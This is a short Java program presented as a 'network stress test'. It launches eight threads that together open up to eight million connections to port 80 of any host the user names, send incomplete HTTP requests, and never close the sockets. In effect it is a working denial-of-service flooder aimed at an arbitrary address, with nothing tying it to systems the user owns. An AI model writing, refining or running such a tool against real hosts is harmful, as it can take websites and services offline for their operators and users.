NetworkStressTest.java

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.net.UnknownHostException;

public class NetworkStressTest extends Socket implements Runnable {
    static NetworkStressTest instance = new NetworkStressTest();
    static String TARGET;

    public static void main(String[] args) {
        if (args.length < 1)
        {
            TARGET="ANY_ADDRESS_WHICH_YOU_WISH"; // Such as domain.com or 10.10.0.1
        }
        else
        {
            TARGET = args[0];
        }

        for (int i = 0; i < 8; i++)
        {
            new Thread(instance).start();
        }
     }

    public void run() {
        for (int i = 1; i <= 1000000; i++)
        {
            try
            {
                Socket net = new Socket(TARGET, 80); // Connects the Socket to the TARGET port 80.
                sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream
                sendRawLine("Host: " + TARGET, net); // Sends Host: to the OutputStream
                System.out.println("Current Connection: " + i);
            }
            catch (UnknownHostException e)
            {
                System.out.println("NetworkStressTest.run: " + e);
            }
            catch (IOException e)
            {
                System.out.println("NetworkStressTest.run: " + e);
            }
        }
     }

    public static void sendRawLine(String text, Socket sock) {
        try
        {
            BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
            out.write(text + " ");
            out.flush();
        }
         catch (IOException ex)
        {
            ex.printStackTrace();
        }
    }
}